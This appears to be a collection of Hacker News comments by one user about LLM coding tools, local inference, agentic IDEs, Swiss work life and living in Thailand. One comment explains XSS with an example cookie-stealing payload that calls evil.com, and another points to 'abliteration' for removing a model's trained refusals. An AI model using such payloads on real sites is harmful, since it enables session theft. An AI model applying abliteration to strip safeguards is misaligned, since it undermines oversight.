underlines

I hand curate github.com/underlines/awesome-ml so I read a ton about latest trends in this space. when I started to read the article, I felt a lot of information was weirdly familiar and almost outdated.

the space is moving fast after all. they just seem to be explaining QLoRA fine tuning, (yes great achievement and all the folks involved are heroes) but reading a trending article on HN - it felt off.

turns out I was too dumb to check the date: 2024 and the title is mixing up quantized adapter fine tuning with base model training. thanks lol

5070Ti user here: We are 150 people in a SME and most of our projects NDA for gov & defense clients absolutely forbid us to use any cloud based IDE tools like GitHub Copilot etc. Would love for this project to provide a BYOK and even Bring Your Own Inference Endpoint. You can still create licensing terms for business clients.

yes, every major llm company did it:

illegally using annas archive, the pile, common crawl, their own crawl, books2, libgen etc. and embed it into high dimensional space and do next token prediction on it.

afaik, guessing anything not 00000 or 11111 at first step will lead to an optimum strategy of 3 steps. because you introduce possible "right digit at wrong place" as a third state.

guessing 00000 or 11111 removes that third state and leaves you with simple substitution of wrong cells, which leads to an optimal 2 step strategy.

but obviously the shortest strategy is just guessing it right on the first try :D lol

In evolution there is no metric, that's a human made concept. In evolution the thing that kills you also evolves. The "metric" evolves.

Our family had a computer since 1990 when I was 4yo. As a kid in school we had typing lessons on a typewriter in 2001 (despite having iMacs in the classroom). I specifically tried to type as fast as possible in order to leave typing class early. It helped my brain to get up to 130 WPM as a kid. I now type at around 100 WPM.

vibe coding oriented builders, where you draft an app idea and it gives you a prototype?

I'd say Firebase Studio and OpenHands

Thanks. I added codex.

Though, since I specifically mentioned agentic, I wanted to exclude non-agentic tools like prompt builders and context managers that you linked. :)

Reason being: my idea of agents is to generalize well enough, so the need for workflow based apps isn't needed anymore.

During discovery and planning phase, the agents should traverse the code base with a retrieval strategy packaged as a tool (embedded search, code-graphs, ...) and then add that new knowledge to the plan before executing the code changes.

We need an Eval Leaderboard for LLM assisted Agentic IDEs. The space is getting crowded:

New Editors:

- Firebase Studio

- Zed

- OpenHands (OSS Devin Clone)

VS Code Forks:

- Cursor

- Windsurf Editor

- Void

VS Code Extensions:

- Gemini Code Assist

- Continue.dev

- GitHub Copilot Agent Mode

- Cline

- RooCode

- Kilo Code (RooCode + Cline Fork)

- Windsurf Plugin

- Kodu.ai Claude Coder (not claude code!)

Terminal Agents:

- Aider

- Claude Code

- OpenAI codex

Issue Fixing Agents:

- SWE-agent

I wonder why most agentic patterns don't use multiple different retrieval strategies simultaneously and why most of them don't use CodeGraph 1 during discovery phase. Embeddings aren't enough, Agent induced function/class name search isn't enough.

[1] CodeGraph https://arxiv.org/abs/2408.13863

Don't forget https://ollama.com/library/deepcoder which ranks really well for its size

That's the normal way at least where I live (Switzerland) and I am shocked people are being disposed off like that in the states. Is this even legal there? We usually get 1-3 months notice period, then continue to work for these 3 months to teach the new hire or finish our open tasks. If we won't find another job in time, we would get 70-80% of the previous salary until we find another job.

I really loved Phind and always think of it as the OG perplexity / RAG search engine.

Sadly stopped my subscription, when you removed the ability to weight my own domains...

Otherwise the fine-tune for your output format for technical questions is great, with the options, the pro/contra and the mermaid diagrams. Just way better for technical searches, than what all the generic services can provide.

reminds me of a mix between ishkur's guide to EDM and whosampled... :) in Flash.

that env parameter is brand new, did you update ollama?

if you can prefill the form field with post parameters and send that URL to someone else, then you can steal their login cookies etc. Even though the same user who submits the input sees the response, XSS can be exploited:

1. stored XSS (input is saved and later displayed)

Input is stored in a DB or a file and later displayed on the webpage, any future user viewing that page would also execute the malicious script.

Example: attacker submits <script>fetch('http://evil.com/steal?cookie=' + document.cookie)</script>. If this is stored and later displayed, it will run for all users.

2. Immediate XSS

If you can trick another user into clicking a malicious link containing the script, it will execute in their browser.

Eg.:

https://example.com/cgi-script?name=<script>fetch('http://ev...

If the CGI script prints this without sanitization, the victim's browser executes the script, jackpot you get their session cookies.

3. Browser Exploits

And for all of the above, you could use an XSS payload with a 0 day browser exploit to gain whatever privileges.

I already did: When I was computer science apprentice in Switzerland in the late 00s, my mate introduced me to Thai culture, as he was half Thai. I planned to be different from all the passport bros and weirdos and made a plan: Finishing my 4 year apprenticeship, working in the industry and get enough money, learn the language spoken and written, the culture, as well as going on a few trips to Thailand with my mates Thai family. Early 2016 my time came: Fluent in Thai, already familiar with BKK and my ability to transform between western and Thai culture smoothly, I landed a job at a Digital Marketing Agency in Bangkok that caters only to the local market. No Expats in the office - my dream came true.

I learned a lot, not just about other cultures, other ways of thinking, but most about myself. I met my now wife, I made great colleagues and friends for life along the way, I had my downs. It was an exciting time with a lot of growth. The agency expanded from initially 15 people to 130, and then into Vietnam and Indonesia as well. Even during Covid we kept operating - though on a slight salary cut.

Fast forward to 2023, I became more and more bored, asked myself if that is it, and most importantly I turned 36 and started to get worried about my wife's and my future, especially retirement. You know, Switzerland has a solid retirement system, social welfare etc. And all of this I gave up, because living abroad means you don't get those... So I convinced my wife to relocate to Switzerland - something she never intended to do. She has to learn a new miniroty language - German - a new culture, a different climate. And most importantly: Her decent office job in Bangkok is something she will have great difficulty to find in Switzerland.

We moved in 2023 and it hasn't been easy, especially for her. But we're happy to live in a safe country with great social welfare, low taxes, high income etc.

So far we had the chance to stay in Thailand every winter and work remotely. So it's kind of the best of both worlds and my employer is great, they allow this type of lifestyle.

What I learned about all this: Your dreams and your goals become irrelevant once you achieved them, either you constantly chase new ones, or you start being happy. And your favorite country always looks great as a tourist or short term visitor, I can really recommend to first try living there temporarily, be it on long holidays or whatever. And most importantly: Don't stay in the expat bubble, learn the language fluently if you plan to stay there. It's a sign of respect and one step towards integrating into society, you don't want to be the outsider forever.

I use my Sony a7iv as a webcam. Plug the USB C in and it is recognized as a webcam. I got asked a lot im teams calls what webcam I use

For 2 years I built RAG apps for clients. They are not Code-Assistants but everytime I see code assistants solely relying on embeddings to find the right pieces as context, it feels wrong to me:

Code is very well structured. Based on a starting point (current cursor, current file, or results of an embedding search result) you would probably fair better to traverse the code tree up and down building a tree or using Abstract Syntax Trees (ASTs) as described in this blog post [4]. It's like a tree search in order to get relevant code pieces for a certain task, and it imitates what human coders do. It would integrate well into an agent loop to search relevant code.

Aren't there any open source code assistants and plugins that do this? All I see are embedding searches for the big projects such as cursor, cline or continue.

All I ever found were a few research efforts such as RepoGraph [1], CodeGraph [2] and one one codebase open sourced by Deutsche Telekom called advanced-coding-assistant [3]

1 https://github.com/ozyyshr/RepoGraph

2 https://arxiv.org/abs/2408.13863

3 https://github.com/telekom/advanced-coding-assistant-backend

4 https://cyrilsadovsky.substack.com/p/advanced-coding-chatbot...

llama 3.2 3b, qwen2.5 3B quantized to 4bit runs CPU inference quite fast. You can get a beefier VM and still save a ton of money. Depending on the context token length of this soluion, it's either fast or slow. If it's below 1024 tokens per request, you get around 10 sec delay, if you are at around 128 tokens I guess you would be somewhere at 1 sec for time to first token...

hint: 8 days ago txtai released their arxiv embeddings

https://huggingface.co/NeuML/txtai-arxiv

they didn't

Can you try increasing compute in the problem search space, not in the training space? What this means is, give it more compute to think during inference by not forcing any model to "only output the answer in algebraic notation" but do CoT prompting: "1. Think about the current board 2. Think about valid possible next moves and choose the 3 best by thinking ahead 3. Make your move"

Or whatever you deem a good step by step instruction of what an actual good beginner chess player might do.

Then try different notations, different prompt variations, temperatures and the other parameters. That all needs to go in your hyper-parameter-tuning.

One could try using DSPy for automatic prompt optimization.

the company i work for and actually most Swiss IT contractors have harsh rules, and more than half of our projects, we aren't allowed to use Github Copilot or pasting stuff to any LLM API.

For that matter I built a vLLM based local GPU machine for our dev squads as a trial. Currently using a 4070Ti Super with 16GB Vram and upgrading to 4x 4070Ti Super to support 70b models.

The difficulties we face IMHO:

- Cursor doesn't support WSL Devcontainers

- Small Tab-Complete models are more important, and there's less going on for those

- There's a huge gap between 7-14b and 120b models, not a lot of 70b models available

In reality, on 7-14b nothing beats Qwen2.5 for interactive coding and something around 2b for tab-completion

I use quantized LLMs in production and can't say I ever found the models to be less censored.

For unlearning reinforced behaviour, the abliteration [1] technique seems to be much more powerful.

1 https://huggingface.co/blog/mlabonne/abliteration

- LLaMA-Omni https://github.com/ictnlp/LLaMA-Omni a speech-language model built on Llama-3.1-8B-Instruct for simultaneous generation of text and speech

- moshi https://github.com/kyutai-labs/moshi speech-text foundation model using Mimi, a SOTA streaming neural audio codec

- Mini-Omni https://github.com/gpt-omni/mini-omni multimodal LLM based on Qwen2 offering speech input and output

- Ichigo https://github.com/homebrewltd/ichigo open research project extending a text-based LLM to have native listening ability, using an early fusion technique

The company who didn't hire you will soon use your tool because they feel remorse for not hiring you, and now they have to "deal with it"

vLLM is simple to set up, use docker and make sure your backend (ubuntu or WSL ubuntu or whatever) has GPU support installed.

Here's a resounding 'slap' delivered by one physicist to his peers:

https://www.youtube.com/watch?v=cBIvSGLkwJY

You either do local inference or get Azure OpenAI to have your own private gpt-4o or whatever. :)